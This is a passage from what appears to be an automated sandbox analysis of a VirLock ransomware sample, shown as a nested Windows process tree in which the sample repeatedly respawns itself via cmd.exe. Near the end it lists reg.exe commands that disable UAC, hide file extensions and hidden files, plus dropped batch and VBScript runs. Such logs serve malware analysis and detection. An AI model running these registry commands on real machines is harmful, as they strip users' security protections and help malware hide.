                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                  83⤵
                                                                                                                                                                                                                                                    PID:1936
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                      84⤵
                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                      PID:5616
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                        85⤵
                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                        PID:5156
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                          86⤵
                                                                                                                                                                                                                                                            PID:576
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                              87⤵
                                                                                                                                                                                                                                                                PID:1724
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                  88⤵
                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                  PID:2260
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                    89⤵
                                                                                                                                                                                                                                                                      PID:1972
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                          PID:1676
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                            91⤵
                                                                                                                                                                                                                                                                              PID:5464
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                92⤵
                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                PID:3320
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                  93⤵
                                                                                                                                                                                                                                                                                    PID:4528
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                      94⤵
                                                                                                                                                                                                                                                                                        PID:600
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                          95⤵
                                                                                                                                                                                                                                                                                            PID:3808
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                              96⤵
                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                              PID:5884
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                97⤵
                                                                                                                                                                                                                                                                                                  PID:2124
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                    98⤵
                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                    PID:6092
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                      99⤵
                                                                                                                                                                                                                                                                                                        PID:5768
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                        99⤵
                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                        PID:3244
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                          100⤵
                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                          PID:2376
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                            101⤵
                                                                                                                                                                                                                                                                                                              PID:5932
                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                              101⤵
                                                                                                                                                                                                                                                                                                                PID:4256
                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                  102⤵
                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                  PID:4748
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                    103⤵
                                                                                                                                                                                                                                                                                                                      PID:4880
                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                      103⤵
                                                                                                                                                                                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                      PID:2928
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                        104⤵
                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                        PID:4896
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                          105⤵
                                                                                                                                                                                                                                                                                                                            PID:5020
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                            105⤵
                                                                                                                                                                                                                                                                                                                              PID:6100
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                106⤵
                                                                                                                                                                                                                                                                                                                                  PID:1872
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                    107⤵
                                                                                                                                                                                                                                                                                                                                      PID:1424
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                        108⤵
                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                        PID:2328
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                          109⤵
                                                                                                                                                                                                                                                                                                                                            PID:4828
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                              110⤵
                                                                                                                                                                                                                                                                                                                                                PID:5860
                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                  111⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5436
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                      112⤵
                                                                                                                                                                                                                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                      PID:5592
                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                        113⤵
                                                                                                                                                                                                                                                                                                                                                          PID:4452
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                            114⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                            PID:4088
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                              115⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3192
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                  116⤵
                                                                                                                                                                                                                                                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                  PID:892
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                    117⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:4908
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                      117⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2112
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                          118⤵
                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                          PID:5452
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                            119⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1780
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                120⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                PID:6072
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                  121⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:5424
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                    121⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4244
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                        122⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                        PID:3196
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                          123⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:5944
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                            123⤵
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            PID:5076
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                              124⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:2744
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                  125⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:264
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                    125⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5708
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        126⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2432
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        126⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:5536
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          126⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                          PID:4712
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                      124⤵
                                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                      PID:4624
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                        125⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:236
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3440
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                        PID:5172
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          125⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:1116
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OyoEYQkY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          124⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2552
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            125⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4868
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              125⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4284
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        122⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        PID:1104
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        122⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:2424
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          123⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:4224
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                          122⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                          PID:6076
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ckcIUwMI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-08-20_ec545d3d471d7f4170180b3017e1fa96_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                          122⤵
                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                          PID:2972
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                            123⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:4744
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                              cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                              123⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3284
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3896
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3268
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
